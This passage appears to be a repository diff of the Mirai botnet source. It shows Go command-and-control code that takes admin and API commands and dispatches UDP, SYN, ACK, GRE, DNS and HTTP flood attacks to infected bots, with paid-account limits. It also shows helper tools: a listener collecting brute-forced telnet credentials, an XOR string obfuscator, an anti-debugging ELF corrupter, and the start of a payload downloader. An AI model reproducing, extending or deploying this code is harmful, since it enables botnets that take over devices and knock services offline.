n, err := this.conn.Read(buf[bufPos:bufPos+1])
if err != nil || n != 1 {
return "", err
}
if buf[bufPos] == '\xFF' {
n, err := this.conn.Read(buf[bufPos:bufPos+2])
if err != nil || n != 2 {
return "", err
}
bufPos--
} else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
if bufPos > 0 {
this.conn.Write([]byte(string(buf[bufPos])))
bufPos--
}
bufPos--
} else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
bufPos--
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
this.conn.Write([]byte("\r\n"))
return string(buf[:bufPos]), nil
} else if buf[bufPos] == 0x03 {
this.conn.Write([]byte("^C\r\n"))
return "", nil
} else {
if buf[bufPos] == '\x1B' {
buf[bufPos] = '^';
this.conn.Write([]byte(string(buf[bufPos])))
bufPos++;
buf[bufPos] = '[';
this.conn.Write([]byte(string(buf[bufPos])))
} else if masked {
this.conn.Write([]byte("*"))
} else {
this.conn.Write([]byte(string(buf[bufPos])))
}
}
bufPos++
}
return string(buf), nil
}

92
mirai/cnc/api.go Executable file
View File

@ -0,0 +1,92 @@
package main
import (
"net"
"time"
"strings"
"strconv"
)
type Api struct {
conn net.Conn
}
func NewApi(conn net.Conn) *Api {
return &Api{conn}
}
func (this *Api) Handle() {
var botCount int
var apiKeyValid bool
var userInfo AccountInfo
// Get command
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
cmd, err := this.ReadLine()
if err != nil {
this.conn.Write([]byte("ERR|Failed reading line\r\n"))
return
}
passwordSplit := strings.SplitN(cmd, "|", 2)
if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid {
this.conn.Write([]byte("ERR|API code invalid\r\n"))
return
}
botCount = userInfo.maxBots
cmd = passwordSplit[1]
if cmd[0] == '-' {
countSplit := strings.SplitN(cmd, " ", 2)
count := countSplit[0][1:]
botCount, err = strconv.Atoi(count)
if err != nil {
this.conn.Write([]byte("ERR|Failed parsing botcount\r\n"))
return
}
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
this.conn.Write([]byte("ERR|Specified bot count over limit\r\n"))
return
}
cmd = countSplit[1]
}
atk, err := NewAttack(cmd, userInfo.admin)
if err != nil {
this.conn.Write([]byte("ERR|Failed parsing attack command\r\n"))
return
}
buf, err := atk.Build()
if err != nil {
this.conn.Write([]byte("ERR|An unknown error occurred\r\n"))
return
}
if database.ContainsWhitelistedTargets(atk) {
this.conn.Write([]byte("ERR|Attack targetting whitelisted target\r\n"))
return
}
if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can {
this.conn.Write([]byte("ERR|Attack cannot be launched\r\n"))
return
}
clientList.QueueBuf(buf, botCount, "")
this.conn.Write([]byte("OK\r\n"))
}
func (this *Api) ReadLine() (string, error) {
buf := make([]byte, 1024)
bufPos := 0
for {
n, err := this.conn.Read(buf[bufPos:bufPos+1])
if err != nil || n != 1 {
return "", err
}
if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
bufPos--
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
return string(buf[:bufPos]), nil
}
bufPos++
}
return string(buf), nil
}

366
mirai/cnc/attack.go Executable file
View File

@ -0,0 +1,366 @@
package main
import (
"fmt"
"strings"
"strconv"
"net"
"encoding/binary"
"errors"
"github.com/mattn/go-shellwords"
)
type AttackInfo struct {
attackID uint8
attackFlags []uint8
attackDescription string
}
type Attack struct {
Duration uint32
Type uint8
Targets map[uint32]uint8 // Prefix/netmask
Flags map[uint8]string // key=value
}
type FlagInfo struct {
flagID uint8
flagDescription string
}
var flagInfoLookup map[string]FlagInfo = map[string]FlagInfo {
"len": FlagInfo {
0,
"Size of packet data, default is 512 bytes",
},
"rand": FlagInfo {
1,
"Randomize packet data content, default is 1 (yes)",
},
"tos": FlagInfo {
2,
"TOS field value in IP header, default is 0",
},
"ident": FlagInfo {
3,
"ID field value in IP header, default is random",
},
"ttl": FlagInfo {
4,
"TTL field in IP header, default is 255",
},
"df": FlagInfo {
5,
"Set the Dont-Fragment bit in IP header, default is 0 (no)",
},
"sport": FlagInfo {
6,
"Source port, default is random",
},
"dport": FlagInfo {
7,
"Destination port, default is random",
},
"domain": FlagInfo {
8,
"Domain name to attack",
},
"dhid": FlagInfo {
9,
"Domain name transaction ID, default is random",
},
"urg": FlagInfo {
11,
"Set the URG bit in IP header, default is 0 (no)",
},
"ack": FlagInfo {
12,
"Set the ACK bit in IP header, default is 0 (no) except for ACK flood",
},
"psh": FlagInfo {
13,
"Set the PSH bit in IP header, default is 0 (no)",
},
"rst": FlagInfo {
14,
"Set the RST bit in IP header, default is 0 (no)",
},
"syn": FlagInfo {
15,
"Set the ACK bit in IP header, default is 0 (no) except for SYN flood",
},
"fin": FlagInfo {
16,
"Set the FIN bit in IP header, default is 0 (no)",
},
"seqnum": FlagInfo {
17,
"Sequence number value in TCP header, default is random",
},
"acknum": FlagInfo {
18,
"Ack number value in TCP header, default is random",
},
"gcip": FlagInfo {
19,
"Set internal IP to destination ip, default is 0 (no)",
},
"method": FlagInfo {
20,
"HTTP method name, default is get",
},
"postdata": FlagInfo {
21,
"POST data, default is empty/none",
},
"path": FlagInfo {
22,
"HTTP path, default is /",
},
/*"ssl": FlagInfo {
23,
"Use HTTPS/SSL"
},
*/
"conns": FlagInfo {
24,
"Number of connections",
},
"source": FlagInfo {
25,
"Source IP address, 255.255.255.255 for random",
},
}
var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo {
"udp": AttackInfo {
0,
[]uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 },
"UDP flood",
},
"vse": AttackInfo {
1,
[]uint8 { 2, 3, 4, 5, 6, 7 },
"Valve source engine specific flood",
},
"dns": AttackInfo {
2,
[]uint8 { 2, 3, 4, 5, 6, 7, 8, 9 },
"DNS resolver flood using the targets domain, input IP is ignored",
},
"syn": AttackInfo {
3,
[]uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
"SYN flood",
},
"ack": AttackInfo {
4,
[]uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
"ACK flood",
},
"stomp": AttackInfo {
5,
[]uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 },
"TCP stomp flood",
},
"greip": AttackInfo {
6,
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
"GRE IP flood",
},
"greeth": AttackInfo {
7,
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
"GRE Ethernet flood",
},
"udpplain": AttackInfo {
9,
[]uint8 {0, 1, 7},
"UDP flood with less options. optimized for higher PPS",
},
"http": AttackInfo {
10,
[]uint8 {8, 7, 20, 21, 22, 24},
"HTTP flood",
},
}
func uint8InSlice(a uint8, list []uint8) bool {
for _, b := range list {
if b == a {
return true
}
}
return false
}
func NewAttack(str string, admin int) (*Attack, error) {
atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)}
args, _ := shellwords.Parse(str)
var atkInfo AttackInfo
// Parse attack name
if len(args) == 0 {
return nil, errors.New("Must specify an attack name")
} else {
if args[0] == "?" {
validCmdList := "\033[37;1mAvailable attack list\r\n\033[36;1m"
for cmdName, atkInfo := range attackInfoLookup {
validCmdList += cmdName + ": " + atkInfo.attackDescription + "\r\n"
}
return nil, errors.New(validCmdList)
}
var exists bool
atkInfo, exists = attackInfoLookup[args[0]]
if !exists {
return nil, errors.New(fmt.Sprintf("\033[33;1m%s \033[31mis not a valid attack!", args[0]))
}
atk.Type = atkInfo.attackID
args = args[1:]
}
// Parse targets
if len(args) == 0 {
return nil, errors.New("Must specify prefix/netmask as targets")
} else {
if args[0] == "?" {
return nil, errors.New("\033[37;1mComma delimited list of target prefixes\r\nEx: 192.168.0.1\r\nEx: 10.0.0.0/8\r\nEx: 8.8.8.8,127.0.0.0/29")
}
cidrArgs := strings.Split(args[0], ",")
if len(cidrArgs) > 255 {
return nil, errors.New("Cannot specify more than 255 targets in a single attack!")
}
for _,cidr := range cidrArgs {
prefix := ""
netmask := uint8(32)
cidrInfo := strings.Split(cidr, "/")
if len(cidrInfo) == 0 {
return nil, errors.New("Blank target specified!")
}
prefix = cidrInfo[0]
if len(cidrInfo) == 2 {
netmaskTmp, err := strconv.Atoi(cidrInfo[1])
if err != nil || netmask > 32 || netmask < 0 {
return nil, errors.New(fmt.Sprintf("Invalid netmask was supplied, near %s", cidr))
}
netmask = uint8(netmaskTmp)
} else if len(cidrInfo) > 2 {
return nil, errors.New(fmt.Sprintf("Too many /'s in prefix, near %s", cidr))
}
ip := net.ParseIP(prefix)
if ip == nil {
return nil, errors.New(fmt.Sprintf("Failed to parse IP address, near %s", cidr))
}
atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask
}
args = args[1:]
}
// Parse attack duration time
if len(args) == 0 {
return nil, errors.New("Must specify an attack duration")
} else {
if args[0] == "?" {
return nil, errors.New("\033[37;1mDuration of the attack, in seconds")
}
duration, err := strconv.Atoi(args[0])
if err != nil || duration == 0 || duration > 3600 {
return nil, errors.New(fmt.Sprintf("Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds", args[0]))
}
atk.Duration = uint32(duration)
args = args[1:]
}
// Parse flags
for len(args) > 0 {
if args[0] == "?" {
validFlags := "\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\r\n\r\n"
for _, flagID := range atkInfo.attackFlags {
for flagName, flagInfo := range flagInfoLookup {
if flagID == flagInfo.flagID {
validFlags += flagName + ": " + flagInfo.flagDescription + "\r\n"
break
}
}
}
validFlags += "\r\nValue of 65535 for a flag denotes random (for ports, etc)\r\n"
validFlags += "Ex: seq=0\r\nEx: sport=0 dport=65535"
return nil, errors.New(validFlags)
}
flagSplit := strings.SplitN(args[0], "=", 2)
if len(flagSplit) != 2 {
return nil, errors.New(fmt.Sprintf("Invalid key=value flag combination near %s", args[0]))
}
flagInfo, exists := flagInfoLookup[flagSplit[0]]
if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) {
return nil, errors.New(fmt.Sprintf("Invalid flag key %s, near %s", flagSplit[0], args[0]))
}
if flagSplit[1][0] == '"' {
flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1]
fmt.Println(flagSplit[1])
}
if flagSplit[1] == "true" {
flagSplit[1] = "1"
} else if flagSplit[1] == "false" {
flagSplit[1] = "0"
}
atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1]
args = args[1:]
}
if len(atk.Flags) > 255 {
return nil, errors.New("Cannot have more than 255 flags")
}
return atk, nil
}
func (this *Attack) Build() ([]byte, error) {
buf := make([]byte, 0)
var tmp []byte
// Add in attack duration
tmp = make([]byte, 4)
binary.BigEndian.PutUint32(tmp, this.Duration)
buf = append(buf, tmp...)
// Add in attack type
buf = append(buf, byte(this.Type))
// Send number of targets
buf = append(buf, byte(len(this.Targets)))
// Send targets
for prefix,netmask := range this.Targets {
tmp = make([]byte, 5)
binary.BigEndian.PutUint32(tmp, prefix)
tmp[4] = byte(netmask)
buf = append(buf, tmp...)
}
// Send number of flags
buf = append(buf, byte(len(this.Flags)))
// Send flags
for key,val := range this.Flags {
tmp = make([]byte, 2)
tmp[0] = key
strbuf := []byte(val)
if len(strbuf) > 255 {
return nil, errors.New("Flag value cannot be more than 255 bytes!")
}
tmp[1] = uint8(len(strbuf))
tmp = append(tmp, strbuf...)
buf = append(buf, tmp...)
}
// Specify the total length
if len(buf) > 4096 {
return nil, errors.New("Max buffer is 4096")
}
tmp = make([]byte, 2)
binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2))
buf = append(tmp, buf...)
return buf, nil
}

37
mirai/cnc/bot.go Executable file
View File

@ -0,0 +1,37 @@
package main
import (
"net"
"time"
)
type Bot struct {
uid int
conn net.Conn
version byte
source string
}
func NewBot(conn net.Conn, version byte, source string) *Bot {
return &Bot{-1, conn, version, source}
}
func (this *Bot) Handle() {
clientList.AddClient(this)
defer clientList.DelClient(this)
buf := make([]byte, 2)
for {
this.conn.SetDeadline(time.Now().Add(180 * time.Second))
if n,err := this.conn.Read(buf); err != nil || n != len(buf) {
return
}
if n,err := this.conn.Write(buf); err != nil || n != len(buf) {
return
}
}
}
func (this *Bot) QueueBuf(buf []byte) {
this.conn.Write(buf)
}

130
mirai/cnc/clientList.go Executable file
View File

@ -0,0 +1,130 @@
package main
import (
"time"
"math/rand"
"sync"
"fmt"
)
type AttackSend struct {
buf []byte
count int
botCata string
}
type ClientList struct {
uid int
count int
clients map[int]*Bot
addQueue chan *Bot
delQueue chan *Bot
atkQueue chan *AttackSend
totalCount chan int
cntView chan int
distViewReq chan int
distViewRes chan map[string]int
cntMutex *sync.Mutex
}
func NewClientList() *ClientList {
c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}}
go c.worker()
go c.fastCountWorker()
return c
}
func (this *ClientList) Count() int {
this.cntMutex.Lock()
defer this.cntMutex.Unlock()
this.cntView <- 0
return <-this.cntView
}
func (this *ClientList) Distribution() map[string]int {
this.cntMutex.Lock()
defer this.cntMutex.Unlock()
this.distViewReq <- 0
return <-this.distViewRes
}
func (this *ClientList) AddClient(c *Bot) {
this.addQueue <- c
}
func (this *ClientList) DelClient(c *Bot) {
this.delQueue <- c
fmt.Printf("Deleted client %d - %s - %s\n", c.version, c.source, c.conn.RemoteAddr())
}
func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
attack := &AttackSend{buf, maxbots, botCata}
this.atkQueue <- attack
}
func (this *ClientList) fastCountWorker() {
for {
select {
case delta := <-this.totalCount:
this.count += delta
break
case <-this.cntView:
this.cntView <- this.count
break
}
}
}
func (this *ClientList) worker() {
rand.Seed(time.Now().UTC().UnixNano())
for {
select {
case add := <-this.addQueue:
this.totalCount <- 1
this.uid++
add.uid = this.uid
this.clients[add.uid] = add
break
case del := <-this.delQueue:
this.totalCount <- -1
delete(this.clients, del.uid)
break
case atk := <-this.atkQueue:
if atk.count == -1 {
for _,v := range this.clients {
if atk.botCata == "" || atk.botCata == v.source {
v.QueueBuf(atk.buf)
}
}
} else {
var count int
for _, v := range this.clients {
if count > atk.count {
break
}
if atk.botCata == "" || atk.botCata == v.source {
v.QueueBuf(atk.buf)
count++
}
}
}
break
case <-this.cntView:
this.cntView <- this.count
break
case <-this.distViewReq:
res := make(map[string]int)
for _,v := range this.clients {
if ok,_ := res[v.source]; ok > 0 {
res[v.source]++
} else {
res[v.source] = 1
}
}
this.distViewRes <- res
}
}
}

40
mirai/cnc/constants.go Executable file
View File

@ -0,0 +1,40 @@
package main
const MiraiPrompt = `
ܱ²[40²±[0;31 ܱ²²±[0;31 ܱ²
[40²±[0;31 ܱ²[40²±[0;31 ܰ±²
²Û[0;31±²[40²±[0;31 ܱ²²
±[0;31 ܱ²[0;31°±²²Û²±°°±²²
°°±±° °°±±°°°°±±
°°°°±±°°°°±°°±
±°°°°±±°°°°±°
°±°°±
±°°±°°±°°±° ±°
°°° ±°°±° ±°°
±°°±° ±°°±° ±°
°±°°±°°
²±°²±±²±°²±±²±°²±±²±°²±±²±°
²±°²±±²±°²±±²±°²±°²±°
[41²±ÛÛ²[1²±[1²²[1²±[40²±
[40²²[40 Û²°[40²²[40 [41²
±[1²²[1²±[40²°[40²°
ÛÛ²²Û[40 ÛÛ²ÜÛÛ²[40[41[40 
²[40²ßÛ²ÛÜ ÛÛ²ÜÜßÛ
²ÛÜ ÛÛ²ÜÛÛ²[40[41[40 ÛÛ
²ÜÜ ÛÛÛ
²ÛÛßßßß ÛÛ² ÛÛÛ ÛÛ² ÛÛÛ ßÛÛÛ ÛÛ²ßÛÛÛ ÛÛ² ÛÛÛ ÛÛ² ÛÛ²ÛÛÛ
²[47²²Û² ²ÛÛ ÛÛ² ²ÛÛÛÛ² ÛÛ²ÛÛ² ²Û² ²ÛÛ ÛÛ² ÛÛ²²ÛÛ
±[47²²Û± ²Û² ²Û²Ü²Û² ±²Û ²Û² ²Û²±²Û ²Û² ²Û± ²Û² ²Û² ²Û²
²Û²
±[47±±Û± ±Û± ±Û± ±Û± ²ÛÛ ±Û± ±Û±²ÛÛ ±Û± ±Û± ±Û± ±Û± ±Û±
±Û±
°[47°°Û° °Û° °Û° °Û° ßÛÛÜÛÛß °ÛÛÛÛÛßÛÛÜÛÛß °Û° °Û° °Û° °Û°
°Û°
SYSOP: PIRATE PETE ú CUSTOMIZED PCB 15.1 ú CLASSIC GAMES/UTILS ARE
A
NODES: 604-732-3233 ú NODES 2-4 604-NOT-4U! ú NODES 5-6 604-NOT-YET!
2.1 GIGZ ONLINE[6 SYNDROME DISTRO SITE ú EXPERIENCED USERS ONLY
ANSI : THE MASKED PIRATEúIMPERIAL
`

145
mirai/cnc/database.go Executable file
View File

@ -0,0 +1,145 @@
package main
import (
"database/sql"
"fmt"
"net"
"encoding/binary"
_ "github.com/go-sql-driver/mysql"
"time"
"errors"
)
type Database struct {
db *sql.DB
}
type AccountInfo struct {
username string
maxBots int
admin int
}
func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database {
db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName))
if err != nil {
fmt.Println(err)
}
fmt.Println("Mysql DB opened")
return &Database{db}
}
func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) {
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password)
if err != nil {
fmt.Println(err)
return false, AccountInfo{"", 0, 0}
}
defer rows.Close()
if !rows.Next() {
return false, AccountInfo{"", 0, 0}
}
var accInfo AccountInfo
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
return true, accInfo
}
func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool {
rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username)
if err != nil {
fmt.Println(err)
return false
}
if rows.Next() {
return false
}
this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration)
return true
}
func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool {
rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist")
if err != nil {
fmt.Println(err)
return false
}
defer rows.Close()
for rows.Next() {
var prefix string
var netmask uint8
rows.Scan(&prefix, &netmask)
// Parse prefix
ip := net.ParseIP(prefix)
ip = ip[12:]
iWhitelistPrefix := binary.BigEndian.Uint32(ip)
for aPNetworkOrder, aN := range attack.Targets {
rvBuf := make([]byte, 4)
binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder)
iAttackPrefix := binary.BigEndian.Uint32(rvBuf)
if aN > netmask { // Whitelist is less specific than attack target
if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) {
return true
}
} else if aN < netmask { // Attack target is less specific than whitelist
if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) {
return true
}
} else { // Both target and whitelist have same prefix
if (iWhitelistPrefix == iAttackPrefix) {
return true
}
}
}
}
return false
}
func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) {
rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username)
defer rows.Close()
if err != nil {
fmt.Println(err)
}
var userId, durationLimit, cooldown uint32
if !rows.Next() {
return false, errors.New("Your access has been terminated")
}
rows.Scan(&userId, &durationLimit, &cooldown)
if durationLimit != 0 && duration > durationLimit {
return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit))
}
rows.Close()
if allowConcurrent == 0 {
rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown)
if err != nil {
fmt.Println(err)
}
if rows.Next() {
var timeSent, historyDuration uint32
rows.Scan(&timeSent, &historyDuration)
return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix())))
}
}
this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots)
return true, nil
}
func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) {
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey)
if err != nil {
fmt.Println(err)
return false, AccountInfo{"", 0, 0}
}
defer rows.Close()
if !rows.Next() {
return false, AccountInfo{"", 0, 0}
}
var accInfo AccountInfo
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
return true, accInfo
}

113
mirai/cnc/main.go Executable file
View File

@ -0,0 +1,113 @@
package main
import (
"fmt"
"net"
"errors"
"time"
)
const DatabaseAddr string = "127.0.0.1"
const DatabaseUser string = "root"
const DatabasePass string = "password"
const DatabaseTable string = "mirai"
var clientList *ClientList = NewClientList()
var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable)
func main() {
tel, err := net.Listen("tcp", "0.0.0.0:23")
if err != nil {
fmt.Println(err)
return
}
api, err := net.Listen("tcp", "0.0.0.0:101")
if err != nil {
fmt.Println(err)
return
}
go func() {
for {
conn, err := api.Accept()
if err != nil {
break
}
go apiHandler(conn)
}
}()
for {
conn, err := tel.Accept()
if err != nil {
break
}
go initialHandler(conn)
}
fmt.Println("Stopped accepting clients")
}
func initialHandler(conn net.Conn) {
defer conn.Close()
conn.SetDeadline(time.Now().Add(10 * time.Second))
buf := make([]byte, 32)
l, err := conn.Read(buf)
if err != nil || l <= 0 {
return
}
if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {
if buf[3] > 0 {
string_len := make([]byte, 1)
l, err := conn.Read(string_len)
if err != nil || l <= 0 {
return
}
var source string
if string_len[0] > 0 {
source_buf := make([]byte, string_len[0])
l, err := conn.Read(source_buf)
if err != nil || l <= 0 {
return
}
source = string(source_buf)
}
NewBot(conn, buf[3], source).Handle()
} else {
NewBot(conn, buf[3], "").Handle()
}
} else {
NewAdmin(conn).Handle()
}
}
func apiHandler(conn net.Conn) {
defer conn.Close()
NewApi(conn).Handle()
}
func readXBytes(conn net.Conn, buf []byte) (error) {
tl := 0
for tl < len(buf) {
n, err := conn.Read(buf[tl:])
if err != nil {
return err
}
if n <= 0 {
return errors.New("Connection closed unexpectedly")
}
tl += n
}
return nil
}
func netshift(prefix uint32, netmask uint8) uint32 {
return uint32(prefix >> (32 - netmask))
}

1
mirai/prompt.txt Executable file
View File

@ -0,0 +1 @@
я люблю куриные наггетсы

12
mirai/tools/badbot.c Executable file
View File

@ -0,0 +1,12 @@
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **args)
{
printf("REPORT %s:%s\n", "127.0.0.1", "80");
while (1)
sleep(1);
return 0;
}

101
mirai/tools/enc.c Executable file
View File

@ -0,0 +1,101 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>
static uint32_t table_key = 0xdeadbeef;
void *x(void *, int);
int main(int argc, char **args)
{
void *data;
int len, i;
if (argc != 3)
{
printf("Usage: %s <string | ip | uint32 | uint16 | uint8 | bool> <data>\n", args[0]);
return 0;
}
if (strcmp(args[1], "string") == 0)
{
data = args[2];
len = strlen(args[2]) + 1;
}
else if (strcmp(args[1], "ip") == 0)
{
data = calloc(1, sizeof (uint32_t));
*((uint32_t *)data) = inet_addr(args[2]);
len = sizeof (uint32_t);
}
else if (strcmp(args[1], "uint32") == 0)
{
data = calloc(1, sizeof (uint32_t));
*((uint32_t *)data) = htonl((uint32_t)atoi(args[2]));
len = sizeof (uint32_t);
}
else if (strcmp(args[1], "uint16") == 0)
{
data = calloc(1, sizeof (uint16_t));
*((uint16_t *)data) = htons((uint16_t)atoi(args[2]));
len = sizeof (uint16_t);
}
else if (strcmp(args[1], "uint8") == 0)
{
data = calloc(1, sizeof (uint8_t));
*((uint8_t *)data) = atoi(args[2]);
len = sizeof (uint8_t);
}
else if (strcmp(args[1], "bool") == 0)
{
data = calloc(1, sizeof (char));
if (strcmp(args[2], "false") == 0)
((char *)data)[0] = 0;
else if (strcmp(args[2], "true") == 0)
((char *)data)[0] = 1;
else
{
printf("Unknown value `%s` for datatype bool!\n", args[2]);
return -1;
}
len = sizeof (char);
}
else
{
printf("Unknown data type `%s`!\n", args[1]);
return -1;
}
// Yes we are leaking memory, but the program is so
// short lived that it doesn't really matter...
printf("XOR'ing %d bytes of data...\n", len);
data = x(data, len);
for (i = 0; i < len; i++)
printf("\\x%02X", ((unsigned char *)data)[i]);
printf("\n");
}
void *x(void *_buf, int len)
{
unsigned char *buf = (char *)_buf, *out = malloc(len);
int i;
uint8_t k1 = table_key & 0xff,
k2 = (table_key >> 8) & 0xff,
k3 = (table_key >> 16) & 0xff,
k4 = (table_key >> 24) & 0xff;
for (i = 0; i < len; i++)
{
char tmp = buf[i] ^ k1;
tmp ^= k2;
tmp ^= k3;
tmp ^= k4;
out[i] = tmp;
}
return out;
}

56
mirai/tools/nogdb.c Executable file
View File

@ -0,0 +1,56 @@
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdlib.h>
#include <elf.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/procfs.h>
#include <fcntl.h>
int main(int argc, char** argv) {
int f;
static Elf32_Ehdr* header;
printf(".: Elf corrupt :.\n");
if(argc < 2){
printf("Usage: %s file", argv[0]);
return 1;
}
if((f = open(argv[1], O_RDWR)) < 0){
perror("open");
return 1;
}
//MAP_SHARED is required to actually update the file
if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PROT_WRITE, MAP_SHARED, f, 0)) == MAP_FAILED){
perror("mmap");
close(f);
return 1;
}
printf("[*] Current header values:\n");
printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n",
header->e_shoff, header->e_shnum, header->e_shstrndx);
header->e_shoff = 0xffff;
header->e_shnum = 0xffff;
header->e_shstrndx = 0xffff;
printf("[*] Patched header values:\n");
printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n",
header->e_shoff, header->e_shnum, header->e_shstrndx);
if(msync(NULL, 0, MS_SYNC) == -1){
perror("msync");
close(f);
return 1;
}
close(f);
munmap(header, 0);
printf("You should no more be able to run \"%s\" inside GDB\n", argv[1]);
return 0;
}

95
mirai/tools/scanListen.go Executable file
View File

@ -0,0 +1,95 @@
package main
import (
"fmt"
"net"
"encoding/binary"
"errors"
"time"
)
func main() {
l, err := net.Listen("tcp", "0.0.0.0:48101")
if err != nil {
fmt.Println(err)
return
}
for {
conn, err := l.Accept()
if err != nil {
break
}
go handleConnection(conn)
}
}
func handleConnection(conn net.Conn) {
defer conn.Close()
conn.SetDeadline(time.Now().Add(10 * time.Second))
bufChk, err := readXBytes(conn, 1)
if err != nil {
return
}
var ipInt uint32
var portInt uint16
if bufChk[0] == 0 {
ipBuf, err := readXBytes(conn, 4)
if err != nil {
return
}
ipInt = binary.BigEndian.Uint32(ipBuf)
portBuf, err := readXBytes(conn, 2)
if err != nil {
return;
}
portInt = binary.BigEndian.Uint16(portBuf)
} else {
ipBuf, err := readXBytes(conn, 3)
if err != nil {
return;
}
ipBuf = append(bufChk, ipBuf...)
ipInt = binary.BigEndian.Uint32(ipBuf)
portInt = 23
}
uLenBuf, err := readXBytes(conn, 1)
if err != nil {
return
}
usernameBuf, err := readXBytes(conn, int(byte(uLenBuf[0])))
pLenBuf, err := readXBytes(conn, 1)
if err != nil {
return
}
passwordBuf, err := readXBytes(conn, int(byte(pLenBuf[0])))
if err != nil {
return
}
fmt.Printf("%d.%d.%d.%d:%d %s:%s\n", (ipInt >> 24) & 0xff, (ipInt >> 16) & 0xff, (ipInt >> 8) & 0xff, ipInt & 0xff, portInt, string(usernameBuf), string(passwordBuf))
}
func readXBytes(conn net.Conn, amount int) ([]byte, error) {
buf := make([]byte, amount)
tl := 0
for tl < amount {
rd, err := conn.Read(buf[tl:])
if err != nil || rd <= 0 {
return nil, errors.New("Failed to read")
}
tl += rd
}
return buf, nil
}

1024
mirai/tools/single_load.c Executable file

File diff suppressed because it is too large Load Diff

183
mirai/tools/wget.c Executable file
View File

@ -0,0 +1,183 @@
#include <sys/types.h>
//#include <bits/syscalls.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#define EXEC_MSG "MIRAI\n"
#define EXEC_MSG_LEN 6
#define DOWNLOAD_MSG "FIN\n"
#define DOWNLOAD_MSG_LEN 4
#define STDIN 0
#define STDOUT 1
#define STDERR 2
#if BYTE_ORDER == BIG_ENDIAN
#define HTONS(n) (n)
#define HTONL(n) (n)
#elif BYTE_ORDER == LITTLE_ENDIAN
#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8))
#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \
((((unsigned long)(n) & 0xff00)) << 8) | \
((((unsigned long)(n) & 0xff0000)) >> 8) | \
((((unsigned long)(n) & 0xff000000)) >> 24))
#else
#error "Fix byteorder"
#endif
#ifdef __ARM_EABI__
